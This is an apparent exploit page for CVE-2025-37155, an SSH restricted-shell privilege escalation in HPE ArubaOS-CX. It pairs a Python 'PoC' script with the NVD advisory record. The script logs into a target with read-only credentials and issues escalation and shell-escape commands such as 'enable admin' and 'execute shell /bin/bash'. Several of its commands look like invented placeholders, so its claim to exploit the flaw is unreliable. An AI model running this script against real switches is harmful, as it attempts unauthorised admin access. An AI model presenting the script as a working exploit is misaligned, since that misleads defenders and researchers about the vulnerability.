CVE-2025-37155

#!/usr/bin/env python3 """ CVE-2025-37155 PoC - SSH Restricted Shell Privilege Escalation Note: This is a conceptual PoC for educational and security research purposes only. """ import paramiko import sys def exploit_cve_2025_37155(target_ip, username, password): """ Exploit for CVE-2025-37155 - SSH Restricted Shell Privilege Escalation This PoC demonstrates how an authenticated read-only user can escalate privileges to administrator level through the SSH restricted shell interface. """ try: # Connect to target via SSH with read-only credentials client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password, timeout=10) # Execute commands through restricted shell # The vulnerability allows bypassing privilege restrictions commands = [ # Attempt to access admin functions (should be blocked for read-only users) 'enable admin', # Privilege escalation attempt 'show running-config', # Read sensitive config 'modify system settings', # Configuration modification 'execute shell /bin/bash' # Shell escape attempt ] for cmd in commands: stdin, stdout, stderr = client.exec_command(cmd) output = stdout.read().decode('utf-8') error = stderr.read().decode('utf-8') if output or error: print(f"Command: {cmd}") print(f"Output: {output}") print(f"Error: {error}") print("-" * 50) client.close() return True except Exception as e: print(f"Exploitation failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python3 poc.py <target_ip> <username> <password>") sys.exit(1) exploit_cve_2025_37155(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2025-37155", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:47.170", "lastModified": "2025-12-04T18:21:05.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the SSH restricted shell interface of the network management services allows improper access control for authenticated read-only users. If successfully exploited, this vulnerability could allow an attacker with read-only privileges to gain administrator access on the affected system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.10.0000", "versionEndExcluding": "10.10.1170", "matchCriteriaId": "3FEB3830-A052-4585-BF45-9E221FA06D43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.13.0000", "versionEndExcluding": "10.13.1101", "matchCriteriaId": "0490B2CA-4273-426E-8776-814D242834B0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.14.0000", "versionEndExcluding": "10.14.1060", "matchCriteriaId": "21AC81E3-A4C8-4120-AEEA-46123B84A250"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.15.0000", "versionEndExcluding": "10.15.1030", "matchCriteriaId": "FB5ADE5E-72CB-41E0-B7A0-08BEBB94ED8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:hpe:arubaos-cx:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.16.0000", "versionEndExcluding": "10.16.1001", "matchCriteriaId": "5CF58D01-F13F-4DAF-B6A1-D91AEC7F19B3"}]}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04888en_us&docLocale=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}